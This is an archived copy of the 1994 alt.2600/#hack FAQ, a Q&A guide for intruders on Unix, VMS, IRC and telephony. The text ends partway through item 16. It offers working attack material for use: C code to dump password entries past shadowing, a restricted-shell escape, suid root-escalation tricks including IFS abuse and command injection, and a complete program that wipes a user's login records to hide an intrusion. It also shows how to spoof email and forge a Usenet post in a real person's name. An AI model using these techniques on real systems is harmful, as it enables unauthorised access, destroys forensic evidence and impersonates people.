home *** CD-ROM | disk | FTP | other *** search
/ Mac OS 9 Serial Number Archive / SN Archive 2023.11.04.toast / Cracking Texts / Hackintosh Bible v1.1 / Hackintosh Bible v1.1.rsrc / TEXT_130.txt / text0000.txt < prev   
Encoding:
Text File  |  1996-08-07  |  19.6 KB  |  660 lines

  1. Archive-name: alt-2600-faq
  2. Posting-Frequency: Random
  3. Last-Modified: 1994/12/18
  4. Version: Beta .010
  5.  
  6.  
  7. Editors Note: Welcome to Beta .010 of the alt.2600/#hack FAQ!
  8.  
  9.               Eleet greets go out to Outsider for producing an
  10.               excellent WWW version of this document at:
  11.               http://www.engin.umich.edu/~jgotts/hack-faq.html
  12.  
  13.               The purpose of this FAQ is to give you a general
  14.               introduction to the topics covered in alt.2600 and
  15.               #hack.  No document will make you a hacker.
  16.  
  17.               If you have a questions regarding any of the topics
  18.               covered in the FAQ, please direct it to alt.2600 or
  19.               #hack.  Please do not e-mail me with them, I'm getting
  20.               swamped.
  21.  
  22.               If your copy of the #hack FAQ does not end with the
  23.               letters EOT on a line by themselves, you do not have the
  24.               entire FAQ.
  25.  
  26.  
  27.                                  ** BETA **
  28.  
  29.                              Beta Revision .010
  30.  
  31.                 alt.2600/#Hack F.A.Q.
  32.  
  33.                         A TNO Communication Production
  34.  
  35.                                     by
  36.                   Voyager
  37.                 will@gnu.ai.mit.edu
  38.  
  39.                 Sysop of
  40.                  Hacker's Haven
  41.                   (303)343-4053
  42.  
  43.                With special thanks to:
  44.  
  45.         A-Flat, Al, Aleph1, Bluesman, C-Curve, DeadKat, Edison,
  46.         Hobbit, KCrow, Major, Marauder, Novocain, Outsider, Presence,
  47.         Rogue Agent, sbin, Taran King, Tomes and TheSaint.
  48.  
  49.  
  50.                We work in the dark
  51.                We do what we can
  52.                We give what we have
  53.                Our doubt is our passion,
  54.                and our passion is our task
  55.                The rest is the madness of art.
  56.  
  57.                 -- Henry James
  58.  
  59.  
  60.  
  61. Section A: Computers
  62.  
  63.   01. How do I access the password file under Unix?
  64. U 02. How do I crack Unix passwords?
  65.   03. What is password shadowing?
  66.   04. Where can I find the password file if it's shadowed?
  67.   05. What is NIS/yp?
  68.   06. What are those weird characters after the comma in my passwd file?
  69.   07. How do I access the password file under VMS?
  70.   08. How do I crack VMS passwords?
  71.   09. How do I break out of a restricted shell?
  72.   10. How do I gain root from a suid script or program?
  73.   11. How do I erase my presence from the system logs?
  74.   12. How do I send fakemail?
  75.   13. How do I fake posts to UseNet?
  76.   14. How do I hack ChanOp on IRC?
  77.   15. How do I modify the IRC client to hide my real username?
  78. U 16. How to I change to directories with strange characters in them?
  79.   17. What is ethernet sniffing?
  80.   18. What is an Internet Outdial?
  81.   19. What are some Internet Outdials?
  82. U 20. What is this system?
  83. U 21. What are the default accounts for XXX ?
  84.   22. What port is XXX on?
  85.   23. What is a trojan/worm/virus/logic bomb?
  86. U 24. How can I protect myself from virii and such?
  87.   25. What is Cryptoxxxxxxx?
  88.   26. What is PGP?
  89. U 27. What is Tempest?
  90.   28. What is an anonymous remailer?
  91.   29. What are the addresses of some anonymous remailers?
  92.   30. How do I defeat copy protection?
  93.   31. What is 127.0.0.1?
  94.  
  95.  
  96. Section B: Telephony
  97.  
  98. U 01. What is a Red Box?
  99. U 02. How do I build a Red Box?
  100.   03. Where can I get a 6.5536Mhz crystal?
  101.   04. Which payphones will a Red Box work on?
  102. N 05. How do I make local calls with a Red Box?
  103. U 06. What is a Blue Box?
  104.   07. Do Blue Boxes still work?
  105.   08. What is a Black Box?
  106. U 09. What do all the colored boxes do?
  107.   10. What is an ANAC number?
  108.   11. What is the ANAC number for my area?
  109.   12. What is a ringback number?
  110. U 13. What is the ringback number for my area?
  111.   14. What is a loop?
  112. U 15. What is a loop in my area?
  113. U 16. What is a CNA number?
  114. U 17. What is the telephone company CNA number for my area?
  115. U 18. What are some numbers that always ring busy?
  116. U 19. What are some numbers that temporarily disconnect phone service?
  117.   20. What is scanning?
  118.   21. Is scanning illegal?
  119.   22. Where can I purchase a lineman's handset?
  120.   23. What are the DTMF frequencies?
  121.   24. What are the frequencies of the telephone tones?
  122. U 25. What are all of the * codes?
  123.   26. What frequencies do cordless phones operate on?
  124.  
  125.  
  126. Section C: Resources
  127.  
  128. U 01. What are some ftp sites of interest to hackers?
  129. U 02. What are some newsgroups of interest to hackers?
  130. U 03. What are some telnet sites of interest to hackers?
  131. U 04. What are some gopher sites of interest to hackers?
  132. U 05. What are some World wide Web (WWW) sites of interest to hackers?
  133.   06. What are some IRC channels of interest to hackers?
  134. U 07. What are some BBS's of interest to hackers?
  135. U 08. What books are available on this subject?
  136. U 09. What are some mailing lists of interest to hackers?
  137. U 10. What are some print magazines of interest to hackers?
  138. U 11. What are some organizations of interest to hackers?
  139.   12. Where can I purchase a magnetic stripe encoder/decoder?
  140. N 13. What are the rainbow books and how can I get them?
  141.  
  142.  
  143. Section D: 2600
  144.  
  145.   01. What is alt.2600?
  146.   02. What does "2600" mean?
  147.   03. Are there on-line versions of 2600 available?
  148.   04. I can't find 2600 at any bookstores.  What can I do?
  149.   05. Why does 2600 cost more to subscribe to than to buy at a newsstand?
  150.  
  151.  
  152. Section E: Miscellaneous
  153.  
  154.   01. What does XXX stand for?
  155.   02. How do I determine if I have a valid credit card number?
  156.   03. What bank issued this credit card?
  157.   04. What are the ethics of hacking?
  158. U 05. Where can I get a copy of the alt.2600/#hack FAQ?
  159.  
  160.  
  161.  
  162. U == Updated since last release of the #hack FAQ
  163. N == New since last release of the #hack FAQ
  164.  
  165.  
  166.  
  167.  
  168. Section A: Computers
  169. ~~~~~~~~~~~~~~~~~~~~
  170.  
  171. 01. How do I access the password file under Unix?
  172.  
  173. In standard Unix the password file is /etc/passwd.  On a Unix system
  174. with either NIS/yp or password shadowing, much of the password data
  175. may be elsewhere.
  176.  
  177.  
  178. 02. How do I crack Unix passwords?
  179.  
  180. Contrary to popular belief, Unix passwords cannot be decrypted.  Unix
  181. passwords are encrypted with a one way function.  The login program
  182. encrypts the text you enter at the "password:" prompt and compares
  183. that encrypted string against the encrypted form of your password.
  184.  
  185. Password cracking software uses wordlists.  Each word in the wordlist
  186. is encrypted and the results are compared to the encrypted form of the
  187. target password.
  188.  
  189. The best cracking program for Unix passwords is currently Crack by
  190. Alec Muffett.  For PC-DOS, the best package to use is currently
  191. CrackerJack.
  192.  
  193.  
  194. 03. What is password shadowing?
  195.  
  196. Password shadowing is a security system where the encrypted password
  197. field of /etc/passwd is replaced with a special token and the
  198. encrypted password is stored in a separate file which is not readable
  199. by normal system users.
  200.  
  201. To defeat password shadowing on many (but not all) systems, write a
  202. program that uses successive calls to getpwent() to obtain the
  203. password file.
  204.  
  205. Example:
  206.  
  207. #include <pwd.h>
  208. main()
  209. {
  210. struct passwd *p;
  211. while(p=getpwent())
  212. printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
  213. p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
  214. }
  215.  
  216.  
  217. 04. Where can I find the password file if it's shadowed?
  218.  
  219. Unix                  Path                            Token
  220. -----------------------------------------------------------------
  221. AIX 3                 /etc/security/passwd            !
  222.        or             /tcb/auth/files/<first letter   #
  223.                             of username>/<username>
  224. A/UX 3.0s             /tcb/files/auth/?/*
  225. BSD4.3-Reno           /etc/master.passwd              *
  226. ConvexOS 10           /etc/shadpw                     *
  227. ConvexOS 11           /etc/shadow                     *
  228. DG/UX                 /etc/tcb/aa/user/               *
  229. EP/IX                 /etc/shadow                     x
  230. HP-UX                 /.secure/etc/passwd             *
  231. IRIX 5                /etc/shadow                     x
  232. Linux 1.1             /etc/shadow                     *
  233. OSF/1                 /etc/passwd[.dir|.pag]          *
  234. SCO Unix #.2.x        /tcb/auth/files/<first letter   *
  235.                             of username>/<username>
  236. SunOS4.1+c2           /etc/security/passwd.adjunct    ##username
  237. SunOS 5.0             /etc/shadow
  238.                       <optional NIS+ private secure maps/tables/whatever>
  239. System V Release 4.0  /etc/shadow                     x
  240. System V Release 4.2  /etc/security/* database
  241. Ultrix 4              /etc/auth[.dir|.pag]            *
  242. UNICOS                /etc/udb                        *
  243.  
  244.  
  245. 05. What is NIS/yp?
  246.  
  247. NIS (Network Information System) in the current name for what was once
  248. known as yp (Yellow Pages).  The purpose for NIS is to allow many
  249. machines on a network to share configuration information, including
  250. password data.  NIS is not designed to promote system security.  If
  251. your system uses NIS you will have a very short /etc/passwd file that
  252. includes a line that looks like this:
  253.  
  254. +::0:0:::
  255.  
  256. To view the real password file use this command "ypcat passwd"
  257.  
  258.  
  259. 06. What are those weird characters after the comma in my passwd file?
  260.  
  261. The characters are password aging data.  Password aging forces the
  262. user to change passwords after a System Administrator specified period
  263. of time.  Password aging can also force a user to keep a password for
  264. a certain number of weeks before changing it.
  265.  
  266. ]
  267. ] Sample entry from /etc/passwd with password aging installed:
  268. ]
  269. ] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
  270. ]
  271.  
  272. Note the comma in the encrypted password field.  The characters after
  273. the comma are used by the password aging mechanism.
  274.  
  275. ]
  276. ] Password aging characters from above example:
  277. ]
  278. ] M.z8
  279. ]
  280.  
  281. The four characters are interpreted as follows:
  282.  
  283.   1: Maximum number of weeks a password can be used without changing.
  284.   2: Minimum number of weeks a password must be used before changing.
  285. 3&4: Last time password was changed, in number of weeks since 1970.
  286.  
  287. Three special cases should be noted:
  288.  
  289. If the first and second characters are set to '..' the user will be
  290. forced to change his/her passwd the next time he/she logs in.  The
  291. passwd program will then remove the passwd aging characters, and the
  292. user will not be subjected to password aging requirements again.
  293.  
  294. If the third and fourth characters are set to '..' the user will be
  295. forced to change his/her passwd the next time he/she logs in. Password
  296. aging will then occur as defined by the first and second characters.
  297.  
  298. If the first character (MAX) is less than the second character (MIN),
  299. the user is not allowed to change his/her password.  Only root can
  300. change that users password.
  301.  
  302. It should also be noted that the su command does not check the password
  303. aging data.  An account with an expired password can be su'd to
  304. without being forced to change the password.
  305.  
  306.  
  307.                         Password Aging Codes
  308. +------------------------------------------------------------------------+
  309. |                                                                        |
  310. | Character:  .  /  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  G  H |
  311. |    Number:  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 |
  312. |                                                                        |
  313. | Character:  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  a  b |
  314. |    Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
  315. |                                                                        |
  316. | Character:  c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v |
  317. |    Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
  318. |                                                                        |
  319. | Character:  w  x  y  z                                                 |
  320. |    Number: 60 61 62 63                                                 |
  321. |                                                                        |
  322. +------------------------------------------------------------------------+
  323.  
  324.  
  325. 07. How do I access the password file under VMS?
  326.  
  327. Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT.  However,
  328. unlike Unix, most users do not have access to read the password file.
  329.  
  330.  
  331. 08. How do I crack VMS passwords?
  332.  
  333. Write a program that uses the SYS$GETUAF functions to compare the
  334. results of encrypted words against the encrypted data in SYSUAF.DAT.
  335.  
  336. Two such programs are known to exist, CHECK_PASSWORD and
  337. GUESS_PASSWORD.
  338.  
  339.  
  340. 09. How do I break out of a restricted shell?
  341.  
  342. On poorly implemented restricted shells you can break out of the
  343. restricted environment by running a program that features a shell
  344. function.  A good example is vi.  Run vi and use this command:
  345.  
  346. :set shell=/bin/sh
  347.  
  348. then shell using this command:
  349.  
  350. :shell
  351.  
  352.  
  353. 10. How do I gain root from a suid script or program?
  354.  
  355. 1. Change IFS.
  356.  
  357. If the program calls any other programs using the system() function
  358. call, you may be able to fool it by changing IFS.  IFS is the Internal
  359. Field Separator that the shell uses to delimit arguments.
  360.  
  361. If the program contains a line that looks like this:
  362.  
  363. system("/bin/date")
  364.  
  365. and you change IFS to '/' the shell will them interpret the
  366. proceeding line as:
  367.  
  368. bin date
  369.  
  370. Now, if you have a program of your own in the path called "bin" the
  371. suid program will run your program instead of /bin/date.
  372.  
  373. To change IFS, use this command:
  374.  
  375. IFS='/';export IFS      # Bourne Shell
  376. setenv IFS '/'          # C Shell
  377. export IFS='/'          # Korn Shell
  378.  
  379.  
  380. 2. link the script to -i
  381.  
  382. Create a symbolic link named "-i" to the program.  Running "-i"
  383. will cause the interpreter shell (/bin/sh) to start up in interactive
  384. mode.  This only works on suid shell scripts.
  385.  
  386. Example:
  387.  
  388. % ln suid.sh -i
  389. % -i
  390. #
  391.  
  392.  
  393. 3. Exploit a race condition
  394.  
  395. Replace a symbolic link to the program with another program while the
  396. kernel is loading /bin/sh.
  397.  
  398. Example:
  399.  
  400. nice -19 suidprog ; ln -s evilprog suidroot
  401.  
  402.  
  403. 4. Send bad input to the program.
  404.  
  405. Invoke the name of the program and a separate command on the same
  406. command line.
  407.  
  408. Example:
  409.  
  410. suidprog ; id
  411.  
  412.  
  413. 11. How do I erase my presence from the system logs?
  414.  
  415. Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
  416. files that can be edited by hand with vi, you must use a program
  417. specifically written for this purpose.
  418.  
  419. Example:
  420.  
  421. #include <sys/types.h>
  422. #include <stdio.h>
  423. #include <unistd.h>
  424. #include <sys/file.h>
  425. #include <fcntl.h>
  426. #include <utmp.h>
  427. #include <pwd.h>
  428. #include <lastlog.h>
  429. #define WTMP_NAME "/usr/adm/wtmp"
  430. #define UTMP_NAME "/etc/utmp"
  431. #define LASTLOG_NAME "/usr/adm/lastlog"
  432.  
  433. int f;
  434.  
  435. void kill_utmp(who)
  436. char *who;
  437. {
  438.     struct utmp utmp_ent;
  439.  
  440.   if ((f=open(UTMP_NAME,O_RDWR))>=0) {
  441.      while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
  442.        if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  443.                  bzero((char *)&utmp_ent,sizeof( utmp_ent ));
  444.                  lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  445.                  write (f, &utmp_ent, sizeof (utmp_ent));
  446.             }
  447.      close(f);
  448.   }
  449. }
  450.  
  451. void kill_wtmp(who)
  452. char *who;
  453. {
  454.     struct utmp utmp_ent;
  455.     long pos;
  456.  
  457.     pos = 1L;
  458.     if ((f=open(WTMP_NAME,O_RDWR))>=0) {
  459.  
  460.      while(pos != -1L) {
  461.         lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
  462.         if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
  463.           pos = -1L;
  464.         } else {
  465.           if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  466.                bzero((char *)&utmp_ent,sizeof(struct utmp ));
  467.                lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
  468.                write (f, &utmp_ent, sizeof (utmp_ent));
  469.                pos = -1L;
  470.           } else pos += 1L;
  471.         }
  472.      }
  473.      close(f);
  474.   }
  475. }
  476.  
  477. void kill_lastlog(who)
  478. char *who;
  479. {
  480.     struct passwd *pwd;
  481.     struct lastlog newll;
  482.  
  483.      if ((pwd=getpwnam(who))!=NULL) {
  484.  
  485.         if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
  486.             lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  487.             bzero((char *)&newll,sizeof( newll ));
  488.             write(f, (char *)&newll, sizeof( newll ));
  489.             close(f);
  490.         }
  491.  
  492.     } else printf("%s: ?\n",who);
  493. }
  494.  
  495. main(argc,argv)
  496. int argc;
  497. char *argv[];
  498. {
  499.     if (argc==2) {
  500.         kill_lastlog(argv[1]);
  501.         kill_wtmp(argv[1]);
  502.         kill_utmp(argv[1]);
  503.         printf("Zap2!\n");
  504.     } else
  505.     printf("Error.\n");
  506. }
  507.  
  508.  
  509. 12. How do I send fakemail?
  510.  
  511. Telnet to port 25 of the machine you want the mail to appear to
  512. originate from.  Enter your message as in this example:
  513.  
  514.  HELO bellcore.com
  515.  MAIL FROM:Voyager@bellcore.com
  516.  RCPT TO:president@whitehouse.gov
  517.  DATA
  518.  
  519.     Please discontinue your silly Clipper initiative.
  520.  .
  521.  QUIT
  522.  
  523. On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
  524. line will not work.  Test by sending yourself fakemail first.
  525.  
  526. For more informationm read RFC 822 "Standard for the format of ARPA
  527. Internet text messages."
  528.  
  529.  
  530. 13. How do I fake posts to UseNet?
  531.  
  532. Use inews to post.  Give inews the following lines:
  533.  
  534.  From:
  535.  Newsgroups:
  536.  Subject:
  537.  Message-ID:
  538.  Date:
  539.  Organization:
  540.  
  541. For a moderated newsgroup, inews will also require this line:
  542.  
  543.  Approved:
  544.  
  545. Then add your post and terminate with <Control-D>.
  546.  
  547. Example:
  548.  
  549.  From: Eric S. Real
  550.  Newsgroups: alt.hackers
  551.  Subject: Pathetic bunch of wannabe losers
  552.  Message-ID: <esr.123@locke.ccil.org>
  553.  Date: Fri, 13 Aug 1994 12:15:03
  554.  Organization: Moral Majority
  555.  
  556.  A pathetic bunch of wannabe losers is what most of you are, with no
  557.  right to steal the honorable title of `hacker' to puff up your silly
  558.  adolescent egos. Get stuffed, get lost, and go to jail.
  559.  
  560.                                         Eric S. Real <esr@locke.ccil.org>
  561.  
  562.  
  563.  ^D
  564.  
  565. Note that many systems will append an Originator: line to your message
  566. header, effectively revealing the account from which the message was
  567. posted.
  568.  
  569.  
  570. 14. How do I hack ChanOp on IRC?
  571.  
  572. Find a server that is split from the rest of IRC and create your own
  573. channel there using the name of the channel you want ChanOp on.  When
  574. that server reconnects to the net, you will have ChanOp on the real
  575. channel.  If you have ServerOp on a server, you can cause it to split
  576. on purpose.
  577.  
  578.  
  579. 15. How do I modify the IRC client to hide my real username?
  580.  
  581. Get the IRC client from cs.bu.edu /irc/clients.  Look at the source
  582. code files irc.c and ctcp.c.  The code you are looking for is fairly
  583. easy to spot.  Change it. Change the username code in irc.c and the
  584. ctcp information code in ctcp.c.  Compile and run your client.
  585.  
  586. Here are the diffs from a sample hack of the IRC client.  Your client
  587. code will vary slightly depending on what IRC client version you are
  588. running.
  589.  
  590. *** ctcp.c.old  Wed Feb 10 10:08:05 1993
  591. --- ctcp.c      Fri Feb 12 04:33:55 1993
  592. ***************
  593. *** 331,337 ****
  594.     struct  passwd  *pwd;
  595.     long    diff;
  596.     int     uid;
  597. !       char    c;
  598.   
  599.     /*
  600.      * sojge complained that ircII says 'idle 1 seconds'
  601. --- 331,337 ----
  602.     struct  passwd  *pwd;
  603.     long    diff;
  604.     int     uid;
  605. !       char    c, *fing;
  606.   
  607.     /*
  608.      * sojge complained that ircII says 'idle 1 seconds'
  609. ***************
  610. *** 348,354 ****
  611.     if (uid != DAEMON_UID)
  612.     {
  613.   #endif /* DAEMON_UID */       
  614. !               if (pwd = getpwuid(uid))
  615.         {
  616.             char    *tmp;
  617.   
  618. --- 348,356 ----
  619.     if (uid != DAEMON_UID)
  620.     {
  621.   #endif /* DAEMON_UID */       
  622. !               if (fing = getenv("IRCFINGER"))
  623. !                       send_ctcp_reply(from, ctcp->name, fing, diff, c);
  624. !               else if (pwd = getpwuid(uid))
  625.         {
  626.             char    *tmp;
  627.   
  628. *** irc.c.old   Wed Feb 10 06:33:11 1993
  629. --- irc.c       Fri Feb 12 04:02:11 1993
  630. ***************
  631. *** 510,516 ****
  632.         malloc_strcpy(&my_path, "/");
  633.     if (*realname == null(char))
  634.         strmcpy(realname, "*Unknown*", REALNAME_LEN);
  635. !       if (*username == null(char))
  636.     {
  637.         if (ptr = getenv("USER"))
  638.             strmcpy(username, ptr, NAME_LEN);
  639. --- 510,518 ----
  640.         malloc_strcpy(&my_path, "/");
  641.     if (*realname == null(char))
  642.         strmcpy(realname, "*Unknown*", REALNAME_LEN);
  643. !       if (ptr = getenv("IRCUSER"))
  644. !               strmcpy(username, ptr, NAME_LEN);
  645. !       else if (*username == null(char))
  646.     {
  647.         if (ptr = getenv("USER"))
  648.             strmcpy(username, ptr, NAME_LEN);
  649.  
  650.  
  651. 16. How to I change to directories with strange characters in them?
  652.  
  653. These directories are often used by people trying to hide information,
  654. most often warez (commercial software).
  655.  
  656. There are several things you can do to determine what these strange
  657. characters are.  One is to use the arguments to the ls command that
  658. cause ls to give you more information:
  659.  
  660.